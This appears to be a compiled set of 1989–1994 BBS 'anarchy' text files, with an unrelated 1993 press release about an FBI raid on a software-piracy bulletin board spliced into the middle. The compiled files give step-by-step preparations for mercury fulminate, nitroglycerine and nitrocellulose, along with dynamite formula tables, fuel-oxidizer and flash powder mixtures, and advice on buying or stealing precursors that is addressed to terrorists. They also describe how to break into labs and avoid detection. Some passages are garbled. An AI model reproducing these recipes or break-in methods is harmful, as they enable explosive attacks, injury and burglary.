Carbonate........... 1 1 1 1 1 1 1 1 1 1
**********AMOUNTS GIVEN IN PERCENTAGES*******
Table Of More Dynamite Formulae:
STRENGTH
INGREDIENT ORDINARY LOW FREEZING
30% 35% 40% 50% 60% 30% 35% 40% 50% 60%
Nitroglycerin.......... 15 20 22 27 35 13 17 17 21 27
Nitrosubstitution
Compounds.......... 0 0 0 0 0 3 4 4 5 6
Ammonium Nitrate....... 15 15 20 25 30 15 15 20 25 30
Sodium Nitrate......... 51 48 42 36 24 53 49 45 36 27
Combustible Material... 18 16 15 11 10 15 14 13 12 9
Calcium Carbonate or
Zinc Oxide......... 1 1 1 1 1 1 1 1 1 1
*****AMOUNTS GIVEN IN PERCENTAGES*****
Master Table Of Dynamites:
INGREDIENT FORMULA
1 2 3 4 5 6 7 8 9 10 11 12
Ammonium Nitrate.......... 52 53 60 61 66 73 78 83 0 0 0 0
Potassium Nitrate......... 21 0 0 0 0 2.8 5 7 30.5 34 0 0
Sodium Nitrate............ 0 12 5 3 0 0 0 0 0 0 30.5 24.5
Barium Nitrate............ 0 0 0 0 0 0 0 2 4 1 0 0
Na or K Chloride.......... 0 0 21 20.5 22 15 8 0 0 0 0 0
Hydrated Ammonium Oxalate. 16 19 0 0 0 0 0 0 0 0 0 0
Ammonium Chloride......... 6 0 0 0 0 0 0 0 0 0 0 0
Cereal or Wood Meal....... 0 4 4 7.5 2 1 5 2 0 38.5 39.5 40.5
Glycerin.................. 0 0 0 4 0 0 0 0 0 0 0 0
Spent Tan Bark Meal....... 0 0 0 0 0 0 0 0 40 1 0 0
Potassium Dichromate...... 0 0 0 0 0 0 0 0 0 0 5 5
Sodium Carbonate.......... 0 0 0 0 0 0 0 0 .5 .5 0 0
Powdered Coal............. 0 0 0 0 4 0 0 0 0 0 0 0
Nitrotoluene.............. 0 0 6 1 0 0 0 0 0 0 0 0
Dinitrotoluene............ 0 0 0 0 0 5 0 0 0 0 0 0
Trinitrotoluene........... 0 6 0 0 0 0 0 2 0 0 0 0
Nitroglycerin............. 5 5 4 4 4 3.2 4 4 25 25 25 30
ALL AMOUNTS ARE IN PERCENTAGES
Well, that's it for now... have fun.... hehehehehe!
USE AT YOUR OWN RISK!!!!
till later....
(future magazines comming soon!)
----------------------------------------------------------------
ANARCHY 'N' EXPLOSIVES
VOLUME 5 -- 4/3/89
Well, hasn't it been long since Volume 4 of Anarchy 'n' Explosives?
Well, I finally got around to typing up another volume. This one will be
dedicated to the extremely simple and more accessible explosives and
incendiaries to be prepared at home, or laboratory; depending upon the
environment you have access to or are accustomed to.
Anyway, getting back down to business, I must (again), put up this sign:
WARNING: THESE EXPLOSIVES/INCENDIARIES ARE REAL, NOT TOYS. USE
EXTREME CAUTION WHEN PREPARING AND APPLYING WHEN APPLICABLE.
FAILURE TO DO SO MAY RESULT IN INJURY OR DEATH.
USE AT YOUR OWN RISK!
Enough of the warnings and notes; for further information and/or
comments on this series of ever popular explosives, contact me (I
don't sign these "publications") on the Knavery BBS at xxx-xxx-xxxx
on the public message base, I should be reading some requests if you
leave them. And, volume number 6 should be coming out sooner than
the time between 4 and 5, but don't count on it.
BULK POWDERS:
=============
Bulk powders are types of gunpowders consisting of nitrocellulose and a
mixture of other chemically explosive solutions. These nitrocellulose fibers
are stuck together, but are not completely collided. Some contain little else
but nitrocellulose; others contain, in addition to potassium and barium
nitrates, camphor, vaseline, paraffin, lampblack, starch, dextrine, potassium
dichromate or other oxidizing or deterrent salts, and diphenylamine for
stabilization, and are colored in a variety of brilliant hues by means of coltar
dyes. Three typical bulk powders are made up according to the approximate
formulas tabulated below:
Nitrocellulose........................ 84.0 87.0 89.0
% N in nitrocellulose............... 13.2 12.9 12.9
Potassium nitrate..................... 7.5 6.0 6.0
Barium nitrate........................ 7.5 2.0 3.0
Starch................................ -.- -.- 1.0
Paraffin oil.......................... -.- 4.0 -.-
Diphenylamine......................... 1.0 1.0 1.0
The mixture is mixed in warm water and dried thoroughly. Then either
granulated or made into powder by crushing with a wooden block and screened
through a 12-mesh sieve. The material is then stored in a moisture-resistant
container for future or immediate use.
MERCURY FULMINATE:==================
Mercury fulminate is an initiating explosive, commonly appearing as
white or gray crystals. It is extremely sensitive to initiation by heat,
friction, spark or flame, and impact. It detonates when initiated by any of
these means. It is pressed into containers, usually at 3000 psi, for use in
detonators and blasting caps. However, when compressed at greater and greater
pressure (up to 30,000 psi), it becomes "dead pressed." In this condition, it
can only be detonated by another initial detonating agent. Mercury fulminate
gradually becomes inert when stored continuously above 100 degrees F. A darkcolored
product of deterioration gives evidence of this effect. Mercury exfulminate is stored underwater except when
there is danger of freezing. Then
it is stored under a mixture of water and alcohol.
Preparation of Mercury Fulminate. Five grams of mercury is addedExt55
cc. of nitric acid (specific gravity 1.42) in a 100-cc. Erlenmeyer flask, and
the mixture is allowed to stand without shaking until the mercury has gone
into solution. The acid liquid is then poured into 50 cc. of 90% alcohol in a
500-cc. beaker in the hood. The temperature of the mixture rises, a vigorous
reaction commences, white fumes come off, and cdata bstals of fulminate soon
begin to precipitate. Red fumes appear and the precipitation of the fulminate
becomes more rapid, then white fumes again as the reaction moderates. After
about 20 minutes, the reaction is over; water is added, and the cdata bstals are
washed with water repeatedly by decantation until the washings are no longer
acid to litmus. The product consists of grayish-yellow cdata bstals, and
corresponds to a good grade of commercial fulminate. It may be obtained white
and entirely pure by dissolving in strong ammonia water, filtering, and
reprecipitating by the addition of 30% acetic acid. The pure fulminate is
filtered off, washed several times with cold water, and stored under water,
or, if a very small amount is desired for experimental purposes, it is dried
in a desiccator.
AMATOL:
=======
Description: amatol is a high explosive, whit to buff in color. It is a
mixture of ammonium nitrate and TNT, with a relative effectiveness slightly
higher than that of TNT alone. Common compositions vary from 80% ammonium
nitrate and 20% TNT to 40% ammonium nitrate and 60% TNT. Amatol is used as
the main bursting charge in artillery shells and bombs. Amatol absorbs
moisture and can form dangerous compounds with copper and brass. Therefore,
it should not be housed in containers of such metals.
BLACK POWDERS:
==============
Black powders burn either quickly or very slowly depending on the
composition of such a mixture; however, these powders produce smoke, often
great amounts, and is most useful in applications where smoke is no object.
It is the best for communicating fire and for producing a quick, hot flame.
Black powder is used in both propellant charges for shrapnel shells, in
saluting and blank fire charges, as the bursting charge of practice shells
and bombs, as a propelling charge in certain pyrotechnic pieces, and, either
with or without the admixture of other substances which modify the rate of
burning, in the time-train rings and in other parts of fuses. Below is a list
of black powders and their compositions.
(Brown)
Name Saltpeter Charcoal Sulfur
England........................ 79 (18) 3
England........................ 77.4 (17.6) 5
Germany........................ 78 (19) 3
Germany........................ 80 (20) -
France......................... 78 (19) 3
Forte...........e...........e 72 15 13 | Blasting
Lente.......................... 40 30 30 |- Black
Ordinaire...........e.......... 62 18 20 | Powders
_
.FBI raids major Ohio computer bulletin board; action follows joint
investigation with SPA
The Federation Bureau of Investigation on Saturday, Jan. 30, 1993, raided
"Rusty & Edie's," a computer bulletin board located in Boardman, Ohio,
which has allegedly been illegally distributing copyrighted software
programs. Seized in the raid on the Rusty & Edie's bulletin board were
computers, hard disk drives and telecommunications equipment, as well as
financial and subscriber records. For the past several months, the Software
Publishers Association ("SPA") has been working with the FBI in
investigating the Rusty & Edie's bulletin board, and as part of that
investigation has downloaded numerous copyrighted business and
entertainment programs from the board.
The SPA investigation was initiated following the receipt of complaints
from a number of SPA members that their software was being illegally
distributed on the Rusty & Edie's BBS. The Rusty & Edie's bulletin board
was one of the largest private bulletin boards in the country. It had 124
nodes available to callers and over 14,000 subscribers throughout the
United States and several foreign countries. To date, the board has logged
in excess of 3.4 million phone calls, with new calls coming in at the rate
of over 4,000 per day. It was established in 1987 and had expanded to
include over 19 gigabytes of storage housing over 100,000 files available
to subscribers for downloading. It had paid subscribers throughout the
United States and several foreign countries, including Canada, Luxembourg,
France, Germany, Finland, the Netherlands, Spain, Sweden and the United
Kingdom.
A computer bulletin board allows personal computer users to access a host
computer by a modem-equipped telephone to exchange information, including
messages, files, and computer programs. The systems operator (Sysop) is
generally responsible for the operation of the bulletin board and
determines who is allowed to access the bulletin board and under what
conditions. For a fee of $89.00 per year, subscribers to the Rusty & Edie's
bulletin board were given access to the board's contents including many
popular copyrighted business and entertainment packages. Subscribers could
"download" or receive these files for use on their own computers without
having to pay the copyrighted owner anything for them.
"The SPA applauds the FBI's action today," said Ilene Rosenthal, general
counsel for the SPA. "This shows that the FBI recognizes the harm that
theft of intellectual property causes to one of the U.S.'s most vibrant
industries. It clearly demonstrates a trend that the government understands
the seriousness of software piracy." The SPA is actively working with the
FBI in the investigation of computer bulletin boards, and similar raids on
other boards are expected shortly. Whether it's copied from a program
purchased at a neighborhood computer store or downloaded from a bulletin
board thousands of miles away, pirated software adds to the cost of
computing. According to the SPA, in 1991, the software industry lost $1.2
billion in the U.S. alone. Losses internationally are several billion
dollars more.
"Many people may not realize that software pirates cause prices to be
higher, in part, to make up for publisher losses from piracy," says Ken
Wasch, executive director of the SPA. In addition, they ruin the
reputation of the hundreds of legitimate bulletin boards that serve an
important function for computer users." The Software Publishers Association
is the principal trade association of the personal computer software
industry. It's over 1,000 members represent the leading publishers in the
business, consumer and education software markets. The SPA has offices in
Washington DC, and Paris, France.
CONTACT: Software Publishers Association, Washington
Ilene Rosenthal, 202/452-1600 Ext. 318
Terri Childs, 202/452-1600 Ext. 320
BUYING EXPLOSIVES AND PROPELLANTS
Almost any city or town of reasonable size has a gun store and one or
more pharmacies. These are two of the places that potential terrorists visit
in order to purchase explosive material. All that one has to do is know
something about the non- explosive uses of the materials. Black powder, for
example, is used in blackpowder firearms. It comes in varying "grades", with
each different grade being a slightly different size. The grade of black
powder depends on what the calibre of the gun that it is used in; a fine grade
of powder could burn too fast in the wrong caliber weapon. The rule is: the
smaller the grade, the faster the burn rate of the powder.
BLACK POWDER
Black powder is generally available in three grades. As stated before, the
smaller the grade, the faster the powder burns. Burn rate is extremely
important in bombs. Since an explosion is a rapid increase of gas volume in a
confined environment, to make an explosion, a quick-burning powder is desirable.
The three common grades of black powder are listed below, along with the usual
bore width (calibre) of what they are used in. Generally, the fastest burning
powder, the FFF grade is desirable. However, the other grades and uses are
listed below:
GRADE BORE WIDTH EXAMPLE OF GUN
ÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
F .50 or greater model cannon; some rifles
FF .36 - .50 large pistols; small rifles
FFF .36 or smaller pistols; derringers
The FFF grade is the fastest burning, because the smaller grade has more
surface area or burning surface exposed to the flame front. The larger grades
also have uses which will be discussed later. The price range of black
powder, per pound, is about $8.50 - $9.00. The price is not affected by the
grade, and so one saves oneself time and work if one buys the finer grade of
powder. The major problems with black powder are that it can be ignited
accidentally by static electricity, and that it has a tendency to absorb
moisture from the air. To safely crush it, a one would use a plastic spoon and
a wooden salad bowl. Taking a small pile at a time, he or she would apply
pressure to the powder through the spoon and rub it in a series of strokes or
circles, but not too hard. It is fine enough to use when it is about as fine
as flour. The fineness, however, is dependant on what type of device one
wishes to make; obviously, it would be impracticle to crush enough powder to
fill a 1 foot by 4 inch radius pipe. Any adult can purchase black powder,
since anyone can own black powder firearms in the United States.
PYRODEX
Pyrodex is a synthetic powder that is used like black powder. It comes
in the same grades, but it is more expensive per pound. However, a one pound
container of pyrodex contains more material by volume than a pound of black
powder. It is much easier to crush to a very fine powder than black powder,
and it is considerably safer and more reliable. This is because it will not
be set off by static electricity, as black can be, and it is less inclined to
absorb moisture. It costs about $10.00 per pound. It can be crushed in the
same manner as black powder, or it can be dissolved in boiling water and
dried.
ROCKET ENGINE POWDER
One of the most exciting hobbies nowadays is model rocketry. Estes is
the largest producer of model rocket kits and engines. Rocket engines are
composed of a single large grain of propellant. This grain is surrounded by a
fairly heavy cardboard tubing. One gets the propellant by slitting the tube
length- wise, and unwrapping it like a paper towel roll. When this is done,
the gray fire clay at either end of the propellant grain must be removed.
This is usually done gently with a plastic or brass knife. The material is
exceptionally hard, and must be crushed to be used. By gripping the grain in
the widest setting on a set of pliers, and putting the grain and powder in a
plastic bag, the powder will not break apart and shatter all over. This
should be done to all the large chunks of powder, and then it should be
crushed like black powder. Rocket engines come in various sizes, ranging from
1/4 A - 2T to the incredibly powerful D engines. The larger the engine, the
more expensive. D engines come in packages of three, and cost about $5.00 per
package. Rocket engines are perhaps the single most useful item sold in
stores to a terrorist, since they can be used as is, or can be cannibalized
for their explosive powder.
RIFLE/SHOTGUN POWDER
Rifle powder and shotgun powder are really the same from a practicle
standpoint. They are both nitrocellulose based propellants. They will be
referred to as gunpowder in all future references. Smokeless gunpowder is made
by the action of concentrated nitric and sulfuric acid upon cotton or some
other cellulose material. This material is then dissolved by solvents and then
reformed in the desired grain size. When dealing with smokeless gunpowder,
the grain size is not nearly as important as that of black powder. Both large
and small grained smokeless powder burn fairly slowly compared to black powder
when unconfined, but when it is confined, gunpowder burns both hotter and with
more gaseous expansion, producing more pressure. Therefore, the grinding
process that is often necessary for other propellants is not necessary for
smokeless powder. owder costs about $9.00 per pound. In most states any
citizen with a valid driver's license can buy it, since there are currently
few restrictions on rifles or shotguns in the U.S. There are now ID checks in
many states when purchasing powder at a retail outlet. Mail-orders aren't
subject to such checks. Rifle powder and pyrodex may be purchased by mail
order, but UPS charges will be high, due to DOT regulations on packaging.
-= Exodus =-
LOCKPICKING 3
If it becomes necessary to pick a lock to enter a lab, the world's most
effective lockpick is dynamite, followed by a sledgehammer. There are
unfortunately, problems with noise and excess structural damage with these
methods. The next best thing, however, is a set of professional lockpicks.
These, unfortunately, are difficult to acquire. If the door to a lab is locked,
but the deadbolt is not engaged, then there are other possibilities. The rule
here is: if one can see the latch, one can open the door. There are several
devices which facilitate freeing the latch from its hole in the wall. Dental
tools, stiff wire ( 20 gauge ), specially bent aluminum from cans, thin
pocket knives, and credit cards are the tools of the trade. The way that all
these tools and devices are uses is similar: pull, push, or otherwise move the
latch out of its recess in the wall, thus allowing the door to open. This is
done by sliding whatever tool that you are using behind the latch, and forcing
the latch back into the door.
Most modern doorknob locks have two fingers. The larger finger holds the door
closed while the second (smaller) finger only prevents the first finger from
being pressed in when it (the second finger) is pressed in by the catchplate
of the door. If you can separate the catch plate and the lock sufficiently
far, the second finger will slip out enough to permit the first finger to be
slipped.
(Ill. 2.11) ___
| } <
Small -> (| } <--- The large (first) finger
second |___} <
finger
Some methods for getting through locked doors are:
1) Another method of forced entry is to use an automobile jack to force the
frame around the door out of shape, freeing the latch or exposing it to
the above methods. This is possible because most door frames are designed
with a slight amount of "give". Simply put the jack into position
horizontally across the frame in the vicinity of the latch, and jack it
out. If the frame is wood it may be possible to remove the jack after
shutting the door, which will relock the door and leave few signs of
forced entry. This technique will not work in concrete block buildings,
and it's difficult to justify an auto jack to the security guards.
2) use a screwdriver or two to pry the lock and door apart. While holding
them apart, try to slip the lock. Screwdrivers, while not entirely
innocent, are much more subtle than auto jacks, and much faster if they
work. If you're into unsubtle, I suppose a crowbar would work too, but
then why bother to slip the lock at all?
3) Find a set of double doors. They are particularly easy to pry apart far
enough to slip.
4) If the lock is occasionally accessible to you while open, "adjust" or
replace the catchplate to make it operate more suitably (i.e., work so
that it lets *both* fingers out, so that it can always be slipped). If
you want, disassembling the lock and removing some of the pins can make
it much easier to pick.
5) If, for some odd reason, the hinges are on your side (i.e., the door
opens outward), remove the hinge pins (provided they aren't stopped with
welded tabs). Unfortunately, this too lacks subtlety, in spite of its
effectiveness.
6) If the door cannot be slipped and you will want to get through regularly,
break the mechanism. Use of sufficient force to make the first finger
retreat while the second finger is retreated will break some locks (e.g.,
Best locks) in such a way that they may thereafter be slipped trivially,
yet otherwise work in all normal ways. Use of a hammer and/or
screwdriver is recommended. Some care should be used not to damage the
door jamb when attempting this on closed and locked doors, so as not to
attract the attention of the users/owners/locksmith/police/....
7) Look around in desks. People very often leave keys to sensitive things
in them or other obvious places. Especially keys to shared critical
resources, like supply rooms, that are typically key-limited but that
everyone needs access to. Take measurements with a micrometer, or make a
tracing (lay key under paper and scribble on top), or be dull and make a
wax impression. Get blanks for the key type (can be very difficult for
better locks; I won't go into methods, other than to say that if you can
get other keys made from the same blank, you can often work wonders with
a little ingenuity) and use a file to reproduce the key. Using a
micrometer works best: keys made from mic measurements are more likely
to work consistently than keys made by any other method. If you us
tracings, it is likely to take many tries before you obtain a key that
works reliably. Also, if you can 'borrow' the cylinder and disassemble
it, pin levels can be obtained and keys constructed.
8) Simple locks, like desks, can be picked fairly easily. Many desks have
simple three or four pin locks of only a few levels, and can be
consistently picked by a patient person in a few minutes. A small
screwdriver and a paper clip will work wonders in practiced hands. Apply
a slight torque to the lock in the direction of opening with the
screwdriver. Then 'rake' the pins with the unfolded paper clip. With
practice, you'll apply enough pressure with the screwdriver that the pins
will align properly (they'll catch on the cylinder somewhere between the
top and bottom of their normal travel), and once they're all lined up,
additional pressure on the screwdriver will then open the lock. This, in
conjunction with (7) can be very effective. This works better with older
or sloppily machined locks that have a fair amount of play in the
cylinder. Even older quality locks can be picked in this manner, if
their cylinders have been worn enough to give enough play to allow pins
to catch reliably. Even with a well worn quality lock, though, it
generally takes a *lot* of patience.
9) Custodial services often open up everything in sight and then take
breaks. Make the most of your opportunities.
10) No matter what you're doing, look like you belong there. Nothing makes
anyone more suspicious than someone skulking about, obviously trying to
look inconspicuous. If there are several of you, have some innocuous and
normal seeming warning method ("Hey, dummy! What time is it?") so that
they can get anything suspicious put away. Don't travel in large groups
at 3 AM. Remember, more than one car thief has managed to enlist a cop's
aid in breaking into a car. Remember this. Security people usually
*like* to help people. Don't make them suspicious or annoy them. If you
do run into security people, try to make sure that there won't be any
theft or break-ins reported there the next day...
11) Consider the possibilities of master keys. Often, every lock in a
building or department will have a common master (building entrance keys
are a common exception). Take apart some locks from different places
that should have common masters, measure the different pin lengths in
each, and find lengths in common. Experiment. Then get into those
places you're *really* curious about.
12) Control keys are fun, too. These keys allow the user to remove the
lock's core, and are generally masters. (A pair of needle nose pliers or
similar tool can then be used to open the lock, if desired.)
SLIPPING A LOCK
The best material we've found for slips so far is soft sheet copper. It
is quite flexible, so it can be worked into jambs easily, and can be pre-bent
as needed. In the plane of the sheet, however, it is fairly strong, and pulls
nicely. Of course, if they're flexible enough, credit cards, student IDs,
etc., work just fine on locks that have been made slippable if the door jamb
is wide enough. Wonderfully subtle, quick, and delightfully effective. Don't
leave home without one.
(Ill. #1)
The sheet should then be folded to produce an L,J,or U shaped device that
looks like this:
________________________________________
/________________________________________|
| |
| | L-shaped
| |
| |
|_|
(Ill. #2)
_____________________________
/ ___________________________|
| |
| | J-shaped
| |
| |________
\________|
(Ill. #3)
_____________________
/ ___________________|
| |
| |
| | U-shaped
| |
| |____________________
\____________________|
We hasten to add here that many or most colleges and universities
have very strict policies about unauthorized possession of keys. At
most, it is at least grounds for expulsion, even without filing criminal
charges. Don't get caught with keys!!! The homemade ones are
particularly obvious, as they don't have the usual stamps and marks
that the locksmiths put on to name and number the keys.]
we should also point out that if you make a nuisance of yourself, there are
various nasty things that can be done to catch you and/or slow you down. For
instance, by putting special pin mechanisms in, locks can be made to trap any
key used to open them. If you lose one this way, what can I say? At least
don't leave fingerprints on it. Or make sure they're someone else's. Too
much mischief can also tempt the powers that be to rekey.
-= Exodus =-
LIST OF USEFUL HOUSEHOLD CHEMICALS AND THEIR AVAILABILITY
Anyone can get many chemicals from hardware stores, supermarkets, and
drug stores to get the materials to make explosives or other dangerous
compounds. A would-be terrorist would merely need a station wagon and some
money to acquire many of the chemicals named here.
Chemical Used In Available at
________ _______ ____________
alcohol, ethyl * alcoholic beverages liquor stores
solvents (95% min. for both) hardware stores
ammonia + CLEAR household ammonia supermarkets/7-eleven
ammonium instant-cold paks, drug stores,
nitrate fertilizers medical supply stores
nitrous oxide pressurizing whip cream party supply stores
poppers (like CO2 ctgs.) Head shops (The Alley at
Belmont/Clark, Chgo)
magnesium firestarters surplus/camping stores
lecithin vitamins pharmacies/drug stores
mineral oil cooking, laxative supermarket/drug stores
mercury mercury thermometers supermarkets,
hardware stores
sulfuric acid uncharged car batteries automotive stores
glycerine pharmacies/drug stores
sulfur gardening gardening/hardware store
charcoal charcoal grills supermarkets
gardening stores
sodium nitrate fertilizer gardening store
cellulose (cotton) first aid drug
medical supply stores
strontium nitrate road flares surplus/auto stores,
fuel oil kerosene stoves surplus/camping stores,
bottled gas propane stoves surplus/camping stores,
potassium permanganate water purification purification plants
hexamine or hexamine stoves surplus/camping stores
methenamine (camping)
nitric acid ^ cleaning printing printing shops
plates photography stores
Iodine disinfectant (tinture) Pharmacy, OSCO
sodium perchlorate solidox pellets hardware stores
(VERY impure) for cutting torches
^ Nitric acid is very difficult to find nowadays. It is usually stolen
by bomb makers, or made by the process described in a later section. A
desired concentration for making explosives about 70%.
& The iodine sold in drug stores is usually not the pure crystaline form
that is desired for producing ammonium triiodide crystals. To obtain the pure
form, it must usually be acquired by a doctor's prescription, but this can be
expensive. Once again, theft is the means that terrorists result to.
-= Exodus =-
'94
NITROGLYCERINE
Nitroglycerine is one of the most sensitive explosives, if it is not the
most sensitive. Although it is possible to make it safely, it is difficult.
Many a young anarchist has been killed or seriously injured while trying to
make the stuff. When Nobel's factories make it, many people were killed by
the all-to-frequent factory explosions. Usually, as soon as it is made, it is
converted into a safer substance, such as dynamite. An idiot who attempts to
make nitroglycerine would use the following procedure:
MATERIAL EQUIPMENT
ÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄ
distilled water eye-dropper
table salt 100 ml beaker
sodium bicarbonate 200-300 ml beakers (2)
concentrated nitric ice bath container
acid (13 ml) ( a plastic bucket serves well )
concentrated sulfuric centigrade thermometer
acid (39 ml)
glycerine blue litmus paper
1) Place 150 ml of distilled water into one of the 200-300 ml beakers.
2) In the other 200-300 ml beaker, place 150 ml of distilled water and about
a spoonful of sodium bicarbonate, and stir them until the sodium
bicarbonate dissolves. Do not put so much sodium bicarbonate in the water
so that some remains undissolved.
3) Create an ice bath by half filling the ice bath container with ice, and
adding table salt. This will cause the ice to melt, lowering the overall
temperature.
4) Place the 100 ml beaker into the ice bath, and pour the 13 ml of
concentrated nitric acid into the 100 ml beaker. Be sure that the beaker
will not spill into the ice bath, and that the ice bath will not overflow
into the beaker when more materials are added to it. Be sure to have a
large enough ice bath container to add more ice. Bring the temperature of
the acid down to about 20 degrees centigrade or less.
5) When the nitric acid is as cold as stated above, slowly and carefully add
the 39 ml of concentrated sulfuric acid to the nitric acid. Mix the two
acids together, and cool the mixed acids to 10 degrees centigrade. It is a
good idea to start another ice bath to do this.
6) With the eyedropper, slowly put the glycerine into the mixed acids, one
drop at a time. Hold the thermometer along the top of the mixture where
the mixed acids and glycerine meet.
DO NOT ALLOW THE TEMPERATURE TO GET ABOVE 30 DEGREES CENTIGRADE; IF
THE TEMPERATURE RISES ABOVE THIS TEMPERATURE, WATCH OUT !!
The glycerine will start to nitrate immediately, and the temperature will
immediately begin to rise. Add glycerine until there is a thin layer of
glycerine on top of the mixed acids. It is always safest to make any
explosive in small quantities.
7) Stir the mixed acids and glycerine for the first ten minutes of nitration,
adding ice and salt to the ice bath to keep the temperature of the solution
in the 100 ml beaker well below 30 degrees centigrade. Usually, the
nitroglycerine will form on the top of the mixed acid solution, and the
concentrated sulfuric acid will absorb the water produced by the reaction.
8) When the reaction is over, and when the nitroglycerine is well below 30
degrees centigrade, slowly and carefully pour the solution of
nitroglycerine and mixed acid into the distilled water in the beaker in
step 1. The nitroglycerine should settle to the bottom of the beaker, and
the water-acid solution on top can be poured off and disposed of. Drain as
much of the acid- water solution as possible without disturbing the
nitroglycerine.
9) Carefully remove the nitroglycerine with a clean eye-dropper, and place it
into the beaker in step 2. The sodium bicarbonate solution will eliminate
much of the acid, which will make the nitroglycerine more stable, and less
likely to explode for no reason, which it can do. Test the nitroglycerine
with the litmus paper until the litmus stays blue. Repeat this step if
necessary, and use new sodium bicarbonate solutions as in step 2.
10) When the nitroglycerine is as acid-free as possible, store it in a clean
container in a safe place. The best place to store nitroglycerine is far
away from anything living, or from anything of any value. Nitroglycerine
can explode for no apparent reason, even if it is stored in a secure cool
place.
-= Exodus =-
PRODUCING CELLULOSE NITRATE (From andrew at CMU)
I used to make nitrocellulose, though. It was not guncotton grade, because I
didn't have oleum (H2SO4 with dissolved SO3); nevertheless it worked. At first
I got my H2SO4 from a little shop in downtown Philadelphia, which sold
soda-acid fire extinguisher refills. Not only was the acid concentrated, cheap
and plentiful, it came with enough carbonate to clean up. I'd add KNO3 and a
little water (OK, I'd add the acid to the water - but there was so little
water, what was added to what made little difference. It spattered
concentrated H2SO4 either way). Later on, when I could purchase the acids, I
believe I used 3 parts H2SO4 to 1 part HNO3. For cotton, I'd use cotton wool
or cotton cloth.
Runaway nitration was commonplace, but it is usually not so disasterous with
nitrocellulose as it is with nitroglycerine. For some reason, I tried washing
the cotton cloth in a solution of lye, and rinsing it well in distilled water.
I let the cloth dry and then nitrated it. (Did I read this somewhere?) When
that product was nitrated, I never got a runaway reaction. BTW, water quenched
the runaway reaction of cellulose.
The product was washed thoroughly and allowed to dry. It dissolved (or turned
into mush) in acetone. It dissolved in alcohol/ether.
WARNINGS
All usual warnings regarding strong acids apply. H2SO4 likes to spatter. When
it falls on the skin, it destroys tissue - often painfully. It dissolves all
manner of clothing. Nitric also destroys skin, turning it bright yellow in the
process. Nitric is an oxidant - it can start fires. Both agents will happily
blind you if you get them in your eyes. Other warnings also apply. Not for the
novice.
Nitrocellulose decomposes very slowly on storage if it isn't stablized. The
decomposition is auto- catalyzing, and can result in spontaneous explosion if
the material is kept confined over time. The process is much faster if the
material is not washed well enough. Nitrocellulose powders contain stabilizers
such as diphenyl amine or ethyl centralite. DO NOT ALLOW THESE TO COME INTO
CONTACT WITH NITRIC ACID!!!! A small amount of either substance will capture
the small amounts of nitrogen oxides that result from decomposition. They
therefore inhibit the autocatalysis. NC eventually will decompose in any case.
Again, this is inherently dangerous and illegal in certain areas. I got away
with it. You may kill yourself and others if you try it.
Commercially produced Nitrocellulose is stabilized by:
------------------------------------------------------
1. Spinning it in a large centrifuge to remove the remaining acid, which is
recycled.
2. Immersion in a large quantity of fresh water.
3. Boiling it in acidulated water and washing it thoroughly with fresh water.
If the NC is to be used as smokeless powder it is boiled in a soda solution,
then rinsed in fresh water.
The purer the acid used (lower water content) the more complete the
nitration will be, and the more powerful the nitrocellulose produced.
There are actually three forms of cellulose nitrate, only one of which is
useful for pyrotechnic purposes. The mononitrate and dinitrate are not
explosive, and are produced by incomplete nitration. If nitration is allowed
to proceed to complete the explosive trinatrate is formed.
(Ill. 3.22.2)
CH OH CH ONO
| 2 | 2 2
| |
C-----O HNO C-----O
/H \ 3 /H \
-CH CH-O- --> -CH CH-O-
\H H/ H SO \H H/
C-----C 2 4 C-----C
| | | |
OH OH ONO ONO
2 2
CELLULOSE CELLULOSE TRINITRATE
Ahh, fer the NEW Cookbook....
-= Exodus =- '94
FUEL-OXODIZER MIXTURES -- (AKA: Starter Explosives)
There are nearly an infinite number of fuel-oxodizer mixtures that can be
produced by a misguided individual in his own home. Some are very effective
and dangerous, while others are safer and less effective. A list of working
fuel- oxodizer mixtures will be presented, but the exact measurements of each
compound are debatable for maximum effectiveness. A rough estimate will be
given of the percentages of each fuel and oxodizer:
oxodizer, % by weight | fuel, % by weight | speed # | notes
==============================================================================
potassium chlorate 67% sulfur 33% 5 friction/impact
sensitive; unstable
potassium chlorate 50% sugar 35% 5 fairly slow burning;
charcoal 15% unstable
potassium chlorate 50% sulfur 25% 8 extremely
magnesium or unstable!
aluminum dust 25%
potassium chlorate 67% magnesium or 8 unstable
aluminum dust 33%
sodium nitrate 65% magnesium dust 30% ? unpredictable
sulfur 5% burn rate
potassium permanganate 60% glycerine 40% 4 delay before
ignition depends
WARNING: IGNITES SPONTANEOUSLY WITH GLYCERINE!!! upon grain size
potassium permanganate 67% sulfur 33% 5 unstable
potassium permangenate 60% sulfur 20% 5 unstable
magnesium or
aluminum dust 20%
potassium permanganate 50% sugar 50% 3 ?
potassium nitrate 75% charcoal 15% 7 this is
sulfur 10% black powder!
potassium nitrate 60% powdered iron 1 burns very hot
or magnesium 40%
potassium chlorate 75% phosphorus 8 used to make strikesesquisulfide
25% anywhere matches
ammonium perchlorate 70% aluminum dust 30% 6 solid fuel for
and small amount of space shuttle
iron oxide
potassium perchlorate 67% magnesium or 10 flash powder
(sodium perchlorate) aluminum dust 33%
potassium perchlorate 60% magnesium or 8 alternate
(sodium perchlorate) aluminum dust 20% flash powder
sulfur 20%
barium nitrate 30% aluminum dust 30% 9 alternate
potassium perchlorate 30% flash powder
barium peroxide 90% magnesium dust 5% 10 alternate
aluminum dust 5% flash powder
potassium perchlorate 50% sulfur 25% 8 slightly
magnesium or unstable
aluminum dust 25%
potassium chlorate 67% red phosphorus 27% 7 very unstable
calcium carbonate 3% sulfur 3% impact sensitive
potassium permanganate 50% powdered sugar 25% 7 unstable;
aluminum or ignites if
magnesium dust 25% it gets wet!
potassium chlorate 75% charcoal dust 15% 6 unstable
sulfur 10%
================================================================================
NOTE: Mixtures that uses substitutions of sodium perchlorate for potassium
perchlorate become moisture-absorbent and less stable.
The higher the speed number, the faster the fuel-oxodizer mixture burns
AFTER ignition. Also, as a rule, the finer the powder, the faster the rate of
burning.
As one can easily see, there is a wide variety of fuel-oxodizer mixtures
that can be made at home. By altering the amounts of fuel and oxodizer(s),
different burn rates can be achieved, but this also can change the sensitivity
of the mixture.
ExoDuS
FLASH POWDER (By Dr. Tiel)
Here are a few basic precautions to take if you're crazy enough to produce
your own flash powder:
(1) Grind the oxidizer (KNO3, KClO3, KMnO4, KClO4 etc) separately in a
clean vessel.
(2) NEVER grind or sift the mixed composition.
(3) Mix the composition on a large paper sheet, by rolling the composition
back and forth.
